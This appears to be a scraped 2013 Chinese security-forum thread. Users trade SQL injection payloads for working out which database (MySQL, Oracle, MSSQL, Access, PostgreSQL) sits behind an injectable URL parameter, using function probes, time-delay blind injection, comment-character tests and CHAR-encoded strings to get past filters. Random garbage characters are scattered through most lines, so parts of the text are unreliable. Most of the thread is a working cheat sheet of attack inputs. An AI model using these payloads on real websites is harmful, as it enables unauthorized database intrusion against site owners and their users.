一个注射点如何最快速确认是什么类型数据库2 \% r6 D5 P) R3 a
xsser (十根阳具有长短!!) | 2013-02-05 12:36
: t8 Q# n2 }0 ?- i+ Q" @* X6 Z: z假设这么一个注射点:
, w5 J- b% m! o) M9 o4 ^' V9 ]show.html?id=27 ~2 v! B8 b- ~+ T. P; M
mysql:id=2 and version()>0
; @2 C8 M( h, S+ a8 Aoracle:id=2 and '1'||'1'='11- Y3 L' Y& o% }) _% i* K( Z" Z$ p" z
其他的欢迎补充5 V1 k; U5 p7 z6 b5 z9 x9 ^* z
1#
& _1 H. x d. W; ~upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:470 I1 G% {! ^# p- X$ a
Access:& E0 M) `4 c7 D3 C0 n
aNd aSc(cHr(97))=977 C b+ _3 D f* s
and exists(select id from MSysAccessObjects)
' c5 O- f: C, A* y6 oSQL Server:9 P, N9 z0 |. m' P+ W0 G( q
and exists(select id from sysobjects)
$ z' v: H( T. O7 D7 ^and length(user)>0# R7 Q* Y% C. o" P. H
MySQL:
, U0 O& r# h- h& l) R2 uand length(user())>0! y8 M5 A/ W4 l7 b3 b
2#
9 { t1 c0 ]1 X% Exsser (十根阳具有长短!!) | 2013-02-05 12:486 b8 ?* h2 i# k$ b' Y7 c: B' I
@upload 如果这些都不是呢…
1 ~* Q) T( h. O0 _3#
4 J ^ `5 g3 W2 gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
+ X6 P. P8 ~" c2 L7 T/ T- ]@xsser 不快速的,延时注入/ w {0 k( Z6 ]. _3 d) |
不知道这样写对不对+ ~% y* Y0 ?; j4 ^; n
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
8 ?! A3 h, B: v p+ V) s* u ~8 amysql:id=2 and select benchmark(1e8,current_date());! g( s5 p n k% [/ y& A
4#5 f$ x% l6 w! w$ |$ \
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:107 v7 J7 \: K4 _- u
最快的貌似是看报错信息9 |4 C) n# ?+ n$ j* D5 H
oracle error
( X w4 Y6 Z$ A- R' ~( e3 p- zmssql error
% [7 q$ r' S- h* Z( H# w) x1 U8 umysql error6 F7 S, Z' y8 I. k- K7 {+ i
5#. N0 w) y* B# Y* w# Q1 g# k
Nimda (你们都是坏银~) | 2013-02-05 13:14
: a1 {' ]2 C) |0 V* {小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual). G0 c3 [" S$ c
6#
, S: \8 R2 X4 Uupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21* n& |. @; Y5 ]: P5 |
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
( D9 H- I% Y r% D“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
0 N% p/ W S: H6 C“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。- l7 ^0 Y: S, N
7#3 {5 |* U1 w# l+ ]2 W4 R% f2 E
_Evil (HackEnd) | 2013-02-05 13:33
/ [4 M+ S/ c& d! cPostgreSQL
7 X9 y+ W$ N% d% ~7 y8#$ P, r; {3 w% y' R- K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42# M3 ?7 E T5 u) z
切换编码 and 1=1# b6 s5 Y4 ? k4 i3 X2 S2 |
oracle:. [& i! g1 i8 O( ~1 `, L
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)# e+ b; n5 b! }
mssql:( j; R( [* d1 f; h
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)" U+ z+ @4 ^- f4 J
mysql:, }5 ^; y6 R: M8 B1 [& q! L6 @
CHAR(97, 110, 100, 32, 49, 61, 49)6 p* h# B) V6 \, z% ?
9#
1 C) x, i9 b# C. @" p' x; ^xsser (十根阳具有长短!!) | 2013-02-05 14:310 S; B8 Z; ^2 b( F9 Y+ r: E; x
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?: }7 a+ |! }& W r% w: \
10#' }% J) ^: `* z9 j n' h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
; W3 }: j% \+ R, _@xsser 是奇葩数据库类型的么?
; H; B) H4 Z/ Z+ W根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
5 `& y, t3 ?7 K1.是否可以使用特定的函数来判断,该数据库特有的! T* ?; t8 |0 y, Q3 T- V
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
+ g& i1 [7 |7 k7 b, c" s3.是否可以编码查询
9 ?& N, @) J' O1 n7 c' [% D% k4.是否显可以利用错信息( A9 v3 X/ l9 H5 W: A* p
5.是否存在数据库某些特性辅助判断. N0 L$ O* u5 q& k4 ~
个人见解8 |! a5 P v9 R8 b* Y
11## K6 D, Y* C& x6 z& J0 R
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
5 G; h! K- J" o: p已收藏,mssql可以直接看到错误提示的吧~
* F! e! A9 N9 Z; \ Q2 K12#3 n6 C$ V2 Z$ s
Passer_by | 2013-02-05 15:09
, M* m4 ^: f# Z4 h! @曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。6 {, _" E; ]8 W1 {4 H
from:http://zone.wooyun.org/content/260 |